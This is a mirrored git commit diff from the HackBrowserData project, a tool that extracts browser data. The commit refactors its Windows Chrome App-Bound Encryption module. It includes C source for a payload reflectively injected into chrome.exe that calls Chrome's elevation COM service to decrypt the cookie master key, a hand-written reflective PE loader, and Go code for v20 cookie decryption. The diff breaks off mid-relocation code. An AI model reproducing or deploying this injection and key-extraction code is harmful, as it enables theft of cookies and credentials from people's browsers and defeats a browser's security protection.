mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
refactor(windows): clean up Chrome ABE module (#574)
* refactor(abe): remove --abe-key flag and its global state * refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
@@ -122,6 +122,7 @@ linters:
|
||||
- G117 # struct field matches secret pattern — false positive on Password fields
|
||||
- G204 # exec.Command with variable — required for macOS `security` command
|
||||
- G304 # file inclusion via variable — required for dynamic browser paths
|
||||
- G703 # path traversal via taint analysis — same false-positive class as G304 (gosec 2.22+ / golangci-lint 2.11+)
|
||||
- G401 # weak crypto SHA1 — required for Chromium PBKDF2 key derivation
|
||||
- G402 # TLS MinVersion — not applicable (no TLS in this tool)
|
||||
- G405 # weak crypto DES — required for Firefox 3DES decryption
|
||||
|
||||
@@ -42,9 +42,24 @@ go mod tidy
|
||||
go mod verify
|
||||
```
|
||||
|
||||
## Chrome ABE Payload (Windows only)
|
||||
|
||||
Chrome 127+ cookies (v20) decrypt via a C payload reflectively injected into `chrome.exe`. Sources in `crypto/windows/abe_native/`; design in [RFC-010](rfcs/010-chrome-abe-integration.md).
|
||||
|
||||
```bash
|
||||
make payload # build the DLL (needs zig: brew install zig)
|
||||
make build-windows # cross-compile hack-browser-data.exe with payload embedded
|
||||
make gen-layout # regenerate Go layout constants from bootstrap_layout.h
|
||||
make payload-clean # rm crypto/*.bin
|
||||
```
|
||||
|
||||
- Default `go build` links a stub that errors at runtime when ABE is needed — contributors not touching Windows ABE need no zig.
|
||||
- `-tags abe_embed` embeds the payload via `//go:embed` (see `crypto/abe_embed_windows.go` / `crypto/abe_stub_windows.go`).
|
||||
|
||||
## Code Conventions
|
||||
|
||||
- **Platform code**: use build tags (`_darwin.go`, `_windows.go`, `_linux.go`)
|
||||
- **C payload**: all sources in `crypto/windows/abe_native/` are first-party (no vendored C). See RFC-010 §9.2 for why Stephen Fewer's reflective loader was rejected.
|
||||
- **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors
|
||||
- **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them.
|
||||
- **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData`
|
||||
|
||||
@@ -20,7 +20,9 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
|
||||
// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
|
||||
return crypto.DecryptChromium(masterKey, ciphertext)
|
||||
case crypto.CipherV20:
|
||||
return crypto.DecryptChromium(masterKey, ciphertext)
|
||||
// v20 is cross-platform AES-GCM; routed through a dedicated function so
|
||||
// Linux/macOS CI can exercise the same decryption path as Windows.
|
||||
return crypto.DecryptChromiumV20(masterKey, ciphertext)
|
||||
case crypto.CipherDPAPI:
|
||||
return crypto.DecryptDPAPI(ciphertext)
|
||||
default:
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
package chromium
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
)
|
||||
|
||||
// TestDecryptValue_V20 is cross-platform because v20's ciphertext format
|
||||
// (AES-GCM with 12-byte nonce) is platform-independent; only the key source
|
||||
// (Chrome ABE on Windows) differs by OS. Running on Linux/macOS CI protects
|
||||
// the routing in decryptValue + crypto.DecryptChromiumV20 from regressions.
|
||||
func TestDecryptValue_V20(t *testing.T) {
|
||||
plaintext := []byte("v20_test_value")
|
||||
nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce
|
||||
|
||||
gcm, err := crypto.AESGCMEncrypt(testAESKey, nonce, plaintext)
|
||||
require.NoError(t, err)
|
||||
|
||||
// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
|
||||
ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
|
||||
|
||||
got, err := decryptValue(testAESKey, ciphertext)
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, plaintext, got)
|
||||
}
|
||||
|
||||
func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
|
||||
// Missing nonce (prefix only) must error, not panic.
|
||||
_, err := decryptValue(testAESKey, []byte("v20"))
|
||||
require.Error(t, err)
|
||||
}
|
||||
@@ -8,7 +8,6 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/browser"
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/output"
|
||||
"github.com/moond4rk/hackbrowserdata/types"
|
||||
@@ -23,7 +22,6 @@ func dumpCmd() *cobra.Command {
|
||||
outputDir string
|
||||
profilePath string
|
||||
keychainPw string
|
||||
abeKey string
|
||||
compress bool
|
||||
)
|
||||
|
||||
@@ -36,12 +34,6 @@ func dumpCmd() *cobra.Command {
|
||||
hack-browser-data dump -f cookie-editor
|
||||
hack-browser-data dump --zip`,
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if abeKey != "" {
|
||||
if err := crypto.SetABEMasterKeyFromHex(abeKey); err != nil {
|
||||
return fmt.Errorf("--abe-key: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
browsers, err := browser.PickBrowsers(browser.PickOptions{
|
||||
Name: browserName,
|
||||
ProfilePath: profilePath,
|
||||
@@ -94,9 +86,6 @@ func dumpCmd() *cobra.Command {
|
||||
cmd.Flags().StringVarP(&outputDir, "dir", "d", "results", "output directory")
|
||||
cmd.Flags().StringVarP(&profilePath, "profile-path", "p", "", "custom profile dir path, get with chrome://version")
|
||||
cmd.Flags().StringVar(&keychainPw, "keychain-pw", "", "macOS keychain password")
|
||||
cmd.Flags().StringVarP(&abeKey, "abe-key", "k", "",
|
||||
"Windows only: pre-decrypted Chrome ABE master key (64 hex chars / 32 bytes). "+
|
||||
"When set, skips the in-process elevation_service injection.")
|
||||
cmd.Flags().BoolVar(&compress, "zip", false, "compress output to zip")
|
||||
|
||||
return cmd
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
//go:embed abe_extractor_amd64.bin
|
||||
var abePayloadAmd64 []byte
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
switch arch {
|
||||
case "amd64":
|
||||
if len(abePayloadAmd64) == 0 {
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package crypto
|
||||
|
||||
func SetABEMasterKeyFromHex(_ string) error { return nil }
|
||||
|
||||
func GetABEMasterKey() []byte { return nil }
|
||||
@@ -4,7 +4,7 @@ package crypto
|
||||
|
||||
import "fmt"
|
||||
|
||||
func getPayloadForArch(arch string) ([]byte, error) {
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(
|
||||
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
|
||||
arch,
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
abeCLIKeyMu sync.RWMutex
|
||||
abeCLIKey []byte
|
||||
)
|
||||
|
||||
func SetABEMasterKeyFromHex(hexKey string) error {
|
||||
if hexKey == "" {
|
||||
return fmt.Errorf("abe: empty hex key")
|
||||
}
|
||||
b, err := hex.DecodeString(hexKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("abe: decode hex key: %w", err)
|
||||
}
|
||||
if len(b) != 32 {
|
||||
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
|
||||
}
|
||||
abeCLIKeyMu.Lock()
|
||||
abeCLIKey = b
|
||||
abeCLIKeyMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetABEMasterKey() []byte {
|
||||
abeCLIKeyMu.RLock()
|
||||
defer abeCLIKeyMu.RUnlock()
|
||||
if len(abeCLIKey) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]byte, len(abeCLIKey))
|
||||
copy(out, abeCLIKey)
|
||||
return out
|
||||
}
|
||||
|
||||
func ABEPayload(arch string) ([]byte, error) {
|
||||
return getPayloadForArch(arch)
|
||||
}
|
||||
@@ -45,6 +45,27 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
|
||||
return cbcDecrypt(block, iv, ciphertext)
|
||||
}
|
||||
|
||||
// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20
|
||||
// cipher formats. Cross-platform because the v20 ciphertext layout is the
|
||||
// same regardless of host OS (only Windows currently produces v20).
|
||||
const gcmNonceSize = 12
|
||||
|
||||
// DecryptChromiumV20 decrypts a Chromium v20 (App-Bound Encryption) ciphertext.
|
||||
// Format: "v20" prefix (3B) + nonce (12B) + AES-GCM(payload + 16B tag).
|
||||
//
|
||||
// Cross-platform: v20 is only produced by Chrome on Windows today, but the
|
||||
// decryption math is platform-neutral. Keeping it here rather than in
|
||||
// crypto_windows.go ensures the routing in browser/chromium/decrypt.go stays
|
||||
// testable on Linux/macOS CI.
|
||||
func DecryptChromiumV20(key, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < versionPrefixLen+gcmNonceSize {
|
||||
return nil, errShortCiphertext
|
||||
}
|
||||
nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize]
|
||||
payload := ciphertext[versionPrefixLen+gcmNonceSize:]
|
||||
return AESGCMDecrypt(key, nonce, payload)
|
||||
}
|
||||
|
||||
// AESGCMEncrypt encrypts data using AES-GCM mode.
|
||||
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
|
||||
@@ -8,10 +8,8 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
gcmNonceSize = 12 // AES-GCM standard nonce size
|
||||
minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
|
||||
)
|
||||
// gcmNonceSize is defined in crypto.go (cross-platform).
|
||||
const minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
|
||||
|
||||
func DecryptChromium(key, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < minGCMDataSize {
|
||||
|
||||
@@ -36,11 +36,6 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
|
||||
log.Debugf("abe: using --abe-key for %s", browserKey)
|
||||
return cliKey, nil
|
||||
}
|
||||
|
||||
payload, err := crypto.ABEPayload("amd64")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abe: %w", err)
|
||||
@@ -63,7 +58,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
||||
if len(key) != 32 {
|
||||
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
|
||||
}
|
||||
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
|
||||
return key, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -39,3 +39,26 @@ payload-verify: $(ABE_BIN)
|
||||
|
||||
payload-clean:
|
||||
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
|
||||
|
||||
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
|
||||
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
|
||||
# are derived from it via cgo -godefs. We pin CC to zig for reproducible
|
||||
# output across macOS / Linux / Windows hosts.
|
||||
ABE_LAYOUT_PKG = $(ABE_SRC_DIR)/bootstrap
|
||||
ABE_LAYOUT_GO = $(ABE_LAYOUT_PKG)/layout.go
|
||||
|
||||
.PHONY: gen-layout gen-layout-verify
|
||||
|
||||
# Split into two stages so a cgo failure doesn't silently produce an empty
|
||||
# layout.go via `gofmt` on empty stdin. Write cgo output to a temp file first;
|
||||
# only if that step succeeds do we format and publish.
|
||||
gen-layout:
|
||||
cd $(ABE_LAYOUT_PKG) && \
|
||||
CC="$(ZIG) cc" $(GO) tool cgo -godefs layout_gen.go > layout.go.tmp && \
|
||||
gofmt layout.go.tmp > layout.go && \
|
||||
rm -f layout.go.tmp && \
|
||||
rm -rf _obj
|
||||
|
||||
gen-layout-verify: gen-layout
|
||||
@git diff --exit-code $(ABE_LAYOUT_GO) >/dev/null || \
|
||||
(echo "layout.go is stale — run 'make gen-layout' and commit"; exit 1)
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <objbase.h>
|
||||
@@ -12,7 +10,17 @@
|
||||
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
|
||||
#define ENV_ENC_MAX 8192
|
||||
|
||||
typedef struct {
|
||||
HRESULT hr; // last COM HRESULT (0 on success)
|
||||
DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths)
|
||||
BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success)
|
||||
BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns.
|
||||
} extract_result;
|
||||
|
||||
static void DoExtractKey(BYTE *imageBase);
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids);
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain);
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr);
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
|
||||
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
|
||||
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
|
||||
@@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the
|
||||
// browser identity from the hosting exe, delegates the key-extraction work
|
||||
// to extract_key_inner, and publishes either the master key or a structured
|
||||
// error into the scratch region the Go injector reads.
|
||||
static void DoExtractKey(BYTE *imageBase)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(hr);
|
||||
HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL weInited = SUCCEEDED(initHr);
|
||||
|
||||
char exeBasename[MAX_PATH];
|
||||
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BASENAME, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
|
||||
if (!ids) {
|
||||
goto cleanup_com;
|
||||
publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0);
|
||||
goto out;
|
||||
}
|
||||
|
||||
extract_result r = extract_key_inner(ids);
|
||||
|
||||
if (r.errCode == ABE_ERR_OK && r.plain != NULL &&
|
||||
SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) {
|
||||
publish_key(imageBase, (const BYTE *)r.plain);
|
||||
} else if (r.errCode == ABE_ERR_OK && r.plain != NULL) {
|
||||
// COM call succeeded but returned wrong length.
|
||||
publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0);
|
||||
} else {
|
||||
publish_error(imageBase, r.errCode, r.hr, r.comErr);
|
||||
}
|
||||
|
||||
if (r.plain) {
|
||||
SecureZeroMemory(r.plain, SysStringByteLen(r.plain));
|
||||
SysFreeString(r.plain);
|
||||
}
|
||||
|
||||
out:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
// extract_key_inner owns a single resource (bstrEnc) and uses early returns;
|
||||
// successful exit hands the plaintext BSTR to the caller.
|
||||
static extract_result extract_key_inner(const BrowserComIds *ids)
|
||||
{
|
||||
extract_result r = {0, 0, ABE_ERR_OK, NULL};
|
||||
|
||||
char envEnc[ENV_ENC_MAX];
|
||||
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
|
||||
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_ENV_MISSING;
|
||||
return r;
|
||||
}
|
||||
|
||||
BYTE encKey[ENV_ENC_MAX];
|
||||
DWORD encKeyLen = ENV_ENC_MAX;
|
||||
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
|
||||
goto cleanup_com;
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
r.errCode = ABE_ERR_BASE64;
|
||||
return r;
|
||||
}
|
||||
|
||||
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
|
||||
SecureZeroMemory(encKey, ENV_ENC_MAX);
|
||||
SecureZeroMemory(envEnc, ENV_ENC_MAX);
|
||||
if (!bstrEnc) {
|
||||
goto cleanup_com;
|
||||
r.errCode = ABE_ERR_BSTR_ALLOC;
|
||||
return r;
|
||||
}
|
||||
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1.
|
||||
// IElevator2 is Chrome 144+; older vendors only implement v1. Try v2
|
||||
// first (when declared), fall back to v1.
|
||||
IUnknown *pObj = NULL;
|
||||
HRESULT hr = S_OK;
|
||||
if (ids->has_iid_v2) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v2, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
|
||||
&ids->iid_v1, (void **)&pObj);
|
||||
if (FAILED(hr)) {
|
||||
pObj = NULL;
|
||||
}
|
||||
if (FAILED(hr)) pObj = NULL;
|
||||
}
|
||||
if (!pObj) {
|
||||
goto free_enc;
|
||||
SysFreeString(bstrEnc);
|
||||
r.hr = hr;
|
||||
r.errCode = ABE_ERR_COM_CREATE;
|
||||
return r;
|
||||
}
|
||||
|
||||
CoSetProxyBlanket(pObj,
|
||||
@@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase)
|
||||
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
|
||||
bstrEnc, &bstrPlain, &comErr);
|
||||
pObj->lpVtbl->Release(pObj);
|
||||
|
||||
if (SUCCEEDED(hr) && bstrPlain) {
|
||||
UINT plainLen = SysStringByteLen(bstrPlain);
|
||||
if (plainLen == BOOTSTRAP_KEY_LEN) {
|
||||
// Write key before status; Go reads key only after status==READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
SecureZeroMemory(bstrPlain, plainLen);
|
||||
SysFreeString(bstrPlain);
|
||||
}
|
||||
|
||||
free_enc:
|
||||
SysFreeString(bstrEnc);
|
||||
|
||||
cleanup_com:
|
||||
if (weInited) {
|
||||
CoUninitialize();
|
||||
if (FAILED(hr) || bstrPlain == NULL) {
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_DECRYPT_DATA;
|
||||
return r;
|
||||
}
|
||||
|
||||
r.hr = hr;
|
||||
r.comErr = comErr;
|
||||
r.errCode = ABE_ERR_OK;
|
||||
r.plain = bstrPlain;
|
||||
return r;
|
||||
}
|
||||
|
||||
static void publish_key(BYTE *imageBase, const BYTE *plain)
|
||||
{
|
||||
// Write key before status; Go reads key only after status == READY.
|
||||
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
|
||||
imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i];
|
||||
}
|
||||
MemoryBarrier();
|
||||
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
|
||||
}
|
||||
|
||||
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr)
|
||||
{
|
||||
*(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr;
|
||||
*(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr;
|
||||
}
|
||||
|
||||
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <stddef.h>
|
||||
@@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
typedef struct {
|
||||
pfn_LoadLibraryA LoadLibraryA;
|
||||
pfn_GetProcAddress GetProcAddress;
|
||||
pfn_VirtualAlloc VirtualAlloc;
|
||||
pfn_VirtualProtect VirtualProtect;
|
||||
pfn_NtFlushInstructionCache NtFlushInstructionCache;
|
||||
} resolved_imports;
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
@@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
|
||||
return (ULONG_PTR)__builtin_return_address(0);
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
// locate_own_image_base walks backwards from the return IP of the calling
|
||||
// frame until it hits a valid MZ/PE header. Must not be inlined (see
|
||||
// get_caller_ip above).
|
||||
static ULONG_PTR locate_own_image_base(void)
|
||||
{
|
||||
ULONG_PTR imageBase = get_caller_ip();
|
||||
while (imageBase > 0) {
|
||||
@@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
if (lfanew > 0 && lfanew < 0x1000) {
|
||||
PIMAGE_NT_HEADERS64 nt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase;
|
||||
}
|
||||
}
|
||||
imageBase--;
|
||||
}
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
return 0;
|
||||
}
|
||||
|
||||
pfn_LoadLibraryA pLoadLibraryA =
|
||||
// read_preresolved_imports pulls the five function pointers the Go injector
|
||||
// patched into the payload's DOS stub (see patchPreresolvedImports on the
|
||||
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
|
||||
// mismatch between C and Go.
|
||||
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
|
||||
{
|
||||
out->LoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
pfn_GetProcAddress pGetProcAddress =
|
||||
out->GetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
pfn_VirtualAlloc pVirtualAlloc =
|
||||
out->VirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
pfn_VirtualProtect pVirtualProtect =
|
||||
out->VirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
pfn_NtFlushInstructionCache pNtFlushIC =
|
||||
out->NtFlushInstructionCache =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
|
||||
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
|
||||
!pVirtualProtect || !pNtFlushIC) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
out->VirtualProtect && out->NtFlushInstructionCache;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
// allocate_and_copy_image reserves a fresh RW region and copies the raw
|
||||
// payload bytes (headers + every section) into it. Returns the new base
|
||||
// plus a pointer to the NT headers within the new image, or NULL on
|
||||
// VirtualAlloc failure.
|
||||
static BYTE *allocate_and_copy_image(ULONG_PTR oldBase,
|
||||
const resolved_imports *imp,
|
||||
PIMAGE_NT_HEADERS64 *outNewNt)
|
||||
{
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
|
||||
|
||||
BYTE *newBase = (BYTE *)pVirtualAlloc(
|
||||
BYTE *newBase = (BYTE *)imp->VirtualAlloc(
|
||||
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
if (!newBase) return NULL;
|
||||
|
||||
BYTE *headerSrc = (BYTE *)imageBase;
|
||||
BYTE *headerSrc = (BYTE *)oldBase;
|
||||
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
|
||||
for (DWORD i = 0; i < headerSize; i++) {
|
||||
newBase[i] = headerSrc[i];
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
|
||||
BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData;
|
||||
BYTE *sDst = newBase + sec[i].VirtualAddress;
|
||||
DWORD raw = sec[i].SizeOfRawData;
|
||||
for (DWORD j = 0; j < raw; j++) {
|
||||
sDst[j] = sSrc[j];
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt =
|
||||
*outNewNt =
|
||||
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
return newBase;
|
||||
}
|
||||
|
||||
// apply_base_relocations fixes up 64-bit absolute address references in
|
||||
// the copied image if the new base differs from the preferred ImageBase.
|
||||
static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
|
||||
{
|
||||
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
|
||||
DWORD relocSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
DWORD relocRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
if (delta != 0 && relocSize > 0 && relocRva > 0) {
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
